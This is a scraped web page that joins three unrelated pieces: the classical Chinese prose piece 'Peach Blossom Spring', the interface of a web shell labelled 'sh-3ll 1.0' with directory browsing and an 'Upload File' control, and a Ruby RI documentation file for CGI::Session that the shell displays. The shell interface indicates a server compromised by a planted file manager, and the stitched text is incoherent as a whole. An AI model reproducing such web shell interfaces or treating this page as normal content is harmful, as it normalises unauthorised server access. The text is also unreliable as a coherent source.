晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/share/ri/1.8/system/CGI/Session/
Upload File :
Current File : //opt/alt/ruby18/share/ri/1.8/system/CGI/Session/cdesc-Session.yaml
--- !ruby/object:RI::ClassDescription 
attributes: 
- !ruby/object:RI::Attribute 
  comment: 
  - !ruby/struct:SM::Flow::P 
    body: The id of this session.
  name: new_session
  rw: R
- !ruby/object:RI::Attribute 
  comment: 
  - !ruby/struct:SM::Flow::P 
    body: The id of this session.
  name: session_id
  rw: R
class_methods: 
- !ruby/object:RI::MethodSummary 
  name: new
comment: 
- !ruby/struct:SM::Flow::P 
  body: Class representing an HTTP session. See documentation for the file cgi/session.rb for an introduction to HTTP sessions.
- !ruby/struct:SM::Flow::H 
  level: 2
  text: Lifecycle
- !ruby/struct:SM::Flow::P 
  body: "A CGI::Session instance is created from a CGI object. By default, this CGI::Session instance will start a new session if none currently exists, or continue the current session for this client if one does exist. The <tt>new_session</tt> option can be used to either always or never create a new session. See #new() for more details."
- !ruby/struct:SM::Flow::P 
  body: "#delete() deletes a session from session storage. It does not however remove the session id from the client. If the client makes another request with the same id, the effect will be to start a new session with the old session's id."
- !ruby/struct:SM::Flow::H 
  level: 2
  text: Setting and retrieving session data.
- !ruby/struct:SM::Flow::P 
  body: The Session class associates data with a session as key-value pairs. This data can be set and retrieved by indexing the Session instance using '[]', much the same as hashes (although other hash methods are not supported).
- !ruby/struct:SM::Flow::P 
  body: When session processing has been completed for a request, the session should be closed using the close() method. This will store the session's state to persistent storage. If you want to store the session's state to persistent storage without finishing session processing for this request, call the update() method.
- !ruby/struct:SM::Flow::H 
  level: 2
  text: Storing session state
- !ruby/struct:SM::Flow::P 
  body: "The caller can specify what form of storage to use for the session's data with the <tt>database_manager</tt> option to CGI::Session::new. The following storage classes are provided as part of the standard library:"
- !ruby/object:SM::Flow::LIST 
  contents: 
  - !ruby/struct:SM::Flow::LI 
    label: "CGI::Session::FileStore:"
    body: stores data as plain text in a flat file. Only works with String data. This is the default storage type.
  - !ruby/struct:SM::Flow::LI 
    label: "CGI::Session::MemoryStore:"
    body: stores data in an in-memory hash. The data only persists for as long as the current ruby interpreter instance does.
  - !ruby/struct:SM::Flow::LI 
    label: "CGI::Session::PStore:"
    body: stores data in Marshalled format. Provided by cgi/session/pstore.rb. Supports data of any type, and provides file-locking and transaction support.
  type: :NOTE
- !ruby/struct:SM::Flow::P 
  body: "Custom storage types can also be created by defining a class with the following methods:"
- !ruby/struct:SM::Flow::VERB 
  body: "   new(session, options)\n   restore  # returns hash of session data.\n   update\n   close\n   delete\n"
- !ruby/struct:SM::Flow::P 
  body: Changing storage type mid-session does not work. Note in particular that by default the FileStore and PStore session data files have the same name. If your application switches from one to the other without making sure that filenames will be different and clients still have old sessions lying around in cookies, then things will break nastily!
- !ruby/struct:SM::Flow::H 
  level: 2
  text: Maintaining the session id.
- !ruby/struct:SM::Flow::P 
  body: Most session state is maintained on the server. However, a session id must be passed backwards and forwards between client and server to maintain a reference to this session state.
- !ruby/struct:SM::Flow::P 
  body: The simplest way to do this is via cookies. The CGI::Session class provides transparent support for session id communication via cookies if the client has cookies enabled.
- !ruby/struct:SM::Flow::P 
  body: If the client has cookies disabled, the session id must be included as a parameter of all requests sent by the client to the server. The CGI::Session class in conjunction with the CGI class will transparently add the session id as a hidden input field to all forms generated using the CGI#form() HTML generation method. No built-in support is provided for other mechanisms, such as URL re-writing. The caller is responsible for extracting the session id from the session_id attribute and manually encoding it in URLs and adding it as a hidden input to HTML forms created by other mechanisms. Also, session expiry is not automatically handled.
- !ruby/struct:SM::Flow::H 
  level: 2
  text: Examples of use
- !ruby/struct:SM::Flow::H 
  level: 3
  text: Setting the user's name
- !ruby/struct:SM::Flow::VERB 
  body: "  require 'cgi'\n  require 'cgi/session'\n  require 'cgi/session/pstore'     # provides CGI::Session::PStore\n\n  cgi = CGI.new(&quot;html4&quot;)\n\n  session = CGI::Session.new(cgi,\n      'database_manager' =&gt; CGI::Session::PStore,  # use PStore\n      'session_key' =&gt; '_rb_sess_id',              # custom session key\n      'session_expires' =&gt; Time.now + 30 * 60,     # 30 minute timeout\n      'prefix' =&gt; 'pstore_sid_')                   # PStore option\n  if cgi.has_key?('user_name') and cgi['user_name'] != ''\n      # coerce to String: cgi[] returns the\n      # string-like CGI::QueryExtension::Value\n      session['user_name'] = cgi['user_name'].to_s\n  elsif !session['user_name']\n      session['user_name'] = &quot;guest&quot;\n  end\n  session.close\n"
- !ruby/struct:SM::Flow::H 
  level: 3
  text: Creating a new session safely
- !ruby/struct:SM::Flow::VERB 
  body: "  require 'cgi'\n  require 'cgi/session'\n\n  cgi = CGI.new(&quot;html4&quot;)\n\n  # We make sure to delete an old session if one exists,\n  # not just to free resources, but to prevent the session\n  # from being maliciously hijacked later on.\n  begin\n      session = CGI::Session.new(cgi, 'new_session' =&gt; false)\n      session.delete\n  rescue ArgumentError  # if no old session\n  end\n  session = CGI::Session.new(cgi, 'new_session' =&gt; true)\n  session.close\n"
constants: []

full_name: CGI::Session
includes: []

instance_methods: 
- !ruby/object:RI::MethodSummary 
  name: "[]"
- !ruby/object:RI::MethodSummary 
  name: "[]="
- !ruby/object:RI::MethodSummary 
  name: close
- !ruby/object:RI::MethodSummary 
  name: create_new_id
- !ruby/object:RI::MethodSummary 
  name: delete
- !ruby/object:RI::MethodSummary 
  name: update
name: Session
superclass: Object